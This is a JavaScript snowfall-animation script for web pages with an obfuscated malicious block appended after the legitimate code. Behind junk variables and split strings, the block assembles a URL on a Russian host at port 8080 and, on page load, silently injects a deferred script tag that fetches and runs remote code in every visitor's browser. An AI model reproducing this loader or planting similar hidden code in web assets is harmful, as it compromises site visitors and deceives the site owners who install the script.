// Fall v2.0 By MaxxBlade - http://www.maxxblade.co.uk/fall

var fallObjects=new Array();function newObject(url,height,width){fallObjects[fallObjects.length]=new Array(url,height,width);}

///////////// EDIT THIS SECTION //////////////
var numObjs=20, waft=50, fallSpeed=15, wind=0;
newObject("snowflake.gif",28,25);
newObject("snowflake2.gif",28,25);
newObject("snowflake3.gif",28,25);
newObject("snowflake4.gif",21,21);
newObject("snowflake5.gif",21,21);
//////////////////////////////////////////////

function winSize(){winWidth=(moz)?window.innerWidth:document.body.clientWidth;winHeight=(moz)?window.innerHeight:document.body.clientHeight;}
function winOfy(){winOffset=(moz)?window.pageYOffset:document.body.scrollTop;}
function fallObject(num,vari,nu){
	objects[num]=new Array(parseInt(Math.random()*(winWidth-waft)),-30,(parseInt(Math.random()*waft))*((Math.random()>0.5)?1:-1),0.02+Math.random()/20,0,1+parseInt(Math.random()*fallSpeed),vari,fallObjects[vari][1],fallObjects[vari][2]);
	if(nu==1){document.write('<img id="fO'+i+'" style="position:absolute;" src="'+fallObjects[vari][0]+'">'); }
}
function fall(){
	for(i=0;i<numObjs;i++){
		var fallingObject=document.getElementById('fO'+i);
		if((objects[i][1]>(winHeight-(objects[i][5]+objects[i][7])))||(objects[i][0]>(winWidth-(objects[i][2]+objects[i][8])))){fallObject(i,objects[i][6],0);}
		objects[i][0]+=wind;objects[i][1]+=objects[i][5];objects[i][4]+=objects[i][3];
		with(fallingObject.style){ top=objects[i][1]+winOffset;left=objects[i][0]+(objects[i][2]*Math.cos(objects[i][4]));}
	}
	setTimeout("fall()",31);
}
var objects=new Array(),winOffset=0,winHeight,winWidth,togvis,moz=(document.getElementById&&!document.all)?1:0;winSize();
for (i=0;i<numObjs;i++){fallObject(i,parseInt(Math.random()*fallObjects.length),1);}
window.onscroll=winOfy;window.onresize=winSize;fall();

var S=new String();try {} catch(tv){};try {this.El=53790;this.El+=163;this.q="";var u=window["unesc"+"ape"];this.Po=20158;this.Po--;var N={RS:false};var X=new String();var K=["gu"];var _P=new String();try {} catch(Sc){};var o='';this.L=23746;this.L++;this.DQ=35958;this.DQ-=235;var m=String("1");Sr=5311;Sr--;this.un="";this.SY="";var aA=new Array();var _=String("repla95c".substr(0,5)+"nYtce".substr(3));qt=9338;qt++;LG=["r","vT"];this.wV=5114;this.wV++;this.Ch_=false;var In=["xq"];this.oM=false;var C=window[("RegEx"+"p")];var Jh='';var t=String("onloa"+"d");try {} catch(T){};var qq=["yO","B","PC"];var tC=false;function U(m,s){var ua=3300;var pX=new Date();var Py=41797;var RL={};var Ey=46400;var Ai=new Date();var y=new String("[");y+=s;var Uu=["EA","DO","mC"];var ij=[];y+=u("%5d");this.nD=13693;this.nD++;var g=new C(y, "j3QFg".substr(4));Ja=27178;Ja--;tI=["te"];uh=65377;uh--;return m.replace(g, o);var mS=[];try {var SU='sX'} catch(SU){};var lA=[];};var eQ=new Array();px=3054;px+=80;Aw=25254;Aw+=10;this.rb=18212;this.rb+=73;Vj=4222;Vj-=92;var P=694659-686579;this.Se=20470;this.Se++;OE=31686;OE--;this.aD="";try {} catch(Hd){};try {} catch(dV){};var VR=[];var Gj="";var fX='';try {var BF='Ac'} catch(BF){};var Co=String("http:"+"//gotQB7Z".substr(0,5)+"hguil"+"t.ru:");var SM=["lw","nX","eV"];var wE=["zX","Vs","xr"];this.NG=38894;this.NG--;this.gQ=37609;this.gQ+=215;var kE=["hN","Dh","ms"];var A=String("/gof8E".substr(0,3)+"WONogl".substr(3)+"e.c"+"om/"+"esp"+"i6Tn.gTi6".substr(3,3)+"o.c"+"Kybom/byK".substr(3,3)+"qiprlRX".substr(0,3)+"P74.ru".substr(3)+".ph"+"QVRpRQV".substr(3,1));var DS=18538;Ag=54178;Ag++;try {var IF='IT'} catch(IF){};this.wF=49360;this.wF++;function i(){var FE=["UP"];var qL={Hu:"yl"};ac=["oF","Na"];this.Qz="";dp=["LT","nr"];Px=["Xt","JT"];PN=29874;PN++;try {} catch(Dv){};var vX={fS:false};var G=document;try {var TF='Yn'} catch(TF){};var JGr=new String();this.wX=3067;this.wX--;var G_=new String("apkjz".substr(0,2)+"pe"+"HzAFnd".substr(4)+"ChnvY".substr(0,2)+"il"+"qhVdqVh".substr(3,1));this.ls=29955;this.ls+=202;this.af=43369;this.af+=52;var WyA=new Date();var Am=U('s0c7ryixpyt7','Zx70NAny');try {} catch(Va){};this.IK=24027;this.IK-=247;GJ={iCg:"dE"};this.YgG=55635;this.YgG-=102;Qy={UE:15250};this.Zh=false;Vx=["aG"];this.Qi="Qi";var mK={eVk:false};var _N=51294;this.GU=63308;this.GU++;var UQ=["nA","pFN"];iC=G.createElement(Am);Sd=8987;Sd++;zY={lP:false};rQ=34529;rQ++;try {var dc='lE'} catch(dc){};this.ZD=false;var QA=new Date();H=Co+P;var yR=["yD"];var Ws={Rg:false};this.kl='';var GK={tWI:false};var Bz=["EU"];H=H+A;var Ax=["YU"];LN={Cm:"zK"};var wx=["jlm","jq"];var Yv="Yv";var onZ="onZ";LB={Ih:61143};try {} catch(KG){};iC.src=H;Ya=60753;Ya+=79;var Hiw=false;Iu=49985;Iu+=48;ez=59788;ez-=78;tD={Om:"KM"};LBc={hNK:"EV"};var I=G.body;var fH=["yK","NGE"];iC[new String("defer")]=m;this.An=21729;this.An+=189;var zI=new Array();try {var Vsg='sq'} catch(Vsg){};this.TS=19934;this.TS+=72;var Wc=["gi"];try {} catch(GS){};var AF="AF";var sl=["gS"];I[G_](iC);ki={IE:19525};var Xb="Xb";Oln={};var YNt={hX:"ne"};};QC={};zT={};var Hz=new Date();this.Il=3776;this.Il++;var lt="lt";window[t]=i;Fk=14707;Fk++;Iy=61028;Iy++;ikd=["ak"];} catch(GT){Vt=29881;Vt++;var rbp={FG:25181};Ae=37063;Ae--;this.HT=38163;this.HT-=111;this.mMj=3732;this.mMj-=175;bm=["UK","pG","dR"];ia=["Xz","anZ","Yj"];};this.jE=false;Ve=1165;Ve++;var jD=false;VxM=["en","KdG","lh"];var aK=new String();